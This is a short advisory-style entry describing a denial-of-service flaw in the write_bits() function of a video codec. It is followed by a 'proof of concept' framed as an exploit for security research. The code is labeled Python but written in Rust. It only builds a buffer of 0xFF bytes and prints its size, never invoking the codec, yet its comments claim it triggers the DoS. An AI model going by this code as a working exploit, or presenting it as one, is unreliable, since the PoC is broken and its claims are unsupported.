Improper input validation in the BitstreamWriter::write_bits() function of Tempus Ex hello-video-codec v0.1.0 allows attackers to cause a Denial of Service (DoS) via a crafted input.
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63095
// Description: Crafted input triggering BitstreamWriter::write_bits() improper input validation
// This PoC generates a malicious bitstream that causes DoS in hello-video-codec
fn generate_malicious_bitstream() -> Vec<u8> {
let mut payload = Vec::new();
// Craft header with invalid bit length parameters
payload.push(0x00);
payload.push(0x00);
payload.push(0x00);
payload.push(0x01);
// Malformed bitstream data that triggers write_bits() validation issue
// Attempting to write bits beyond expected range
for _ in 0..1000 {
payload.push(0xFF);
payload.push(0xFF);
payload.push(0xFF);
}
payload
}
fn main() {
let malicious_data = generate_malicious_bitstream();
// Simulate processing with BitstreamWriter
// In vulnerable version, this will trigger DoS
println!("Malicious bitstream size: {} bytes", malicious_data.len());
println!("CVE-2025-63095 PoC - DoS trigger via improper write_bits() validation");
}